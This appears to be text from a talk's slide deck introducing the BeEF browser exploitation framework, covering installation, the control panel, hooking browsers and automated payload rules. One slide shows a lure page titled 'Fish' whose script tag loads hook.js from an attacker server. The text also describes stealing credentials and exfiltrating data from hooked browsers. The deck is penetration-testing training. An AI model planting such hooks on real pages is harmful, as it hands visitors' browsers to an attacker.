Intro to BeEF

Chad Hollman
Analyst, County of Sacramento Department of Technology
What is BeEF?
Installing BeEF
Logging into BeEF
Hooking your first browser
Maintaining Persistence
Automating BeEF
What is BeEF?

Installing BeEF

Logging into BeEF for the first time

Hooking your first browser

Maintaining Persistence

Automating BeEF
What is BeEF?

BeEF is short for the Browser Exploitation Framework.
I am no expert in BeEF
Disclaimer

Before using, make sure you have permission
What is BeEF?
Installing BeEF
Logging into BeEF
Hooking your first browser
Maintaining Persistence
Automating BeEF
Install BeEF

pre-reqs

ruby > 2.5
ruby gems
sqlite3
Install BeEF
update kali

apt update
Install BeEF

install beef

apt install beef-xss -y
Install BeEF
install beef

apt install libssqlite3-dev
Install BeEF

install beef

gem install sqlite -v '1.4.2'
--source 'https://rubygems.org/’
Install BeEF

install beef

usr/shared/beef-xss$ bundle
Install BeEF
update the default username and password

vi /usr/share/beef-xss/config.yaml
Install BeEF
then launch beef

./beef
Install BeEF
then launch beef
What is BeEF?
Installing BeEF
Logging into BeEF
Hooking your first browser
Maintaining Persistence
Automating BeEF
Logging into BeEF

navigate to the ui/panel link in your browser
Logging into BeEF
Logging into BeEF

Welcome to BeEF!

Before being able to fully explore the framework you will have to "hook" a browser. To begin with you can point a browser towards the basic demo page here, or the advanced version here.

If you want to hook ANY page (for debugging reasons of course), drag the following bookmarklet link into your browser's bookmark bar, then simply click the shortcut on another page: load-BEF.js.

After a browser is hooked into the framework they will appear in the "hooked browsers" panel on the left. Hooked browsers will appear in either an online or offline state, depending on how recently they have pulled the framework.

Hooked Browsers

To interact with a hooked browser simply left-click it, a new tab will appear. Each hooked browser tab has a number of sub-tabs, described below:

- Details: Display information about the hooked browser after you've run some command modules.
- Logs: Displays recent log entries related to this particular hooked browser.
- Commands: This tab is where modules can be executed against the hooked browser. This is where most of the BeEF functionality resides. Most command modules consist of Javascript code that is executed against the selected hooked browser. Command modules are able to perform any actions that can be achieved through Javascript; for example they may gather information about the hooked Browser, manipulate the DOM or perform other actions such as exploiting vulnerabilities within the local network of the hooked Browser.

Official website: http://beefproject.com/

Getting Started

BeEF is an open-source framework for performing browser exploitation. It provides a web-based interface for managing and controlling client-side JavaScript injections into target systems, as well as a library of modules that can be executed against hooked browsers. With BeEF, you can perform a variety of tasks, such as exfiltrating sensitive data, stealing credentials, or even remotely controlling systems. BeEF is designed to be used by penetration testers and security researchers to gain insight into the security posture of websites and web applications.
Hooking your first browser
Hooking your first browser

<html>
<head>
<title>Fish</title>
<script src="http://192.168.1.51:3000/hook.js"></script>
</head>
<body>
Banana
</body>
</html>
Hooking your first browser
Hooking your first browser
Maintaining Persistence
What is BeEF?
Installing BeEF
Logging into BeEF
Hooking your first browser
Maintaining Persistence
Automating BeEF
Automating BeEF

using the beef automated rule engine (are) you can run commands anytime a hooked browser becomes available
Automating BeEF

using the beef automated rule engine (are) you can run commands anytime
a hooked browser becomes available

so instead of waiting at the beef user interface, for a hooked browser to
come online, you can write an automated rule to execute a number of
commands instead
Automating BeEF

using the beef automated rule engine (are) you can run commands anytime a hooked browser becomes available

so instead of waiting at the beef user interface, for a hooked browser to come online, you can write an automated rule to execute a number of commands instead

rules can be based on information taken from when the hook is first created, ie only run when a firefox browser is launched and only execute firefox vulnerable payloads
Automating BeEF

using the beef automated rule engine (are) you can run commands anytime a hooked browser becomes available

so instead of waiting at the beef user interface, for a hooked browser to come online, you can write an automated rule to execute a number of commands instead

rules can be based on information taken from when the hook is first created, ie only run when a firefox browser is launched and only execute firefox vulnerable payloads

rules can also be chained, so once one command is executed, another can be executed thereafter
Automating BeEF
configuring the automated rule engine

configure delay

target a specific operating system

target specific browsers

provide matching options

multiple configs
Demo
Thank you!
hollmanchad@gmail.com
@gh0st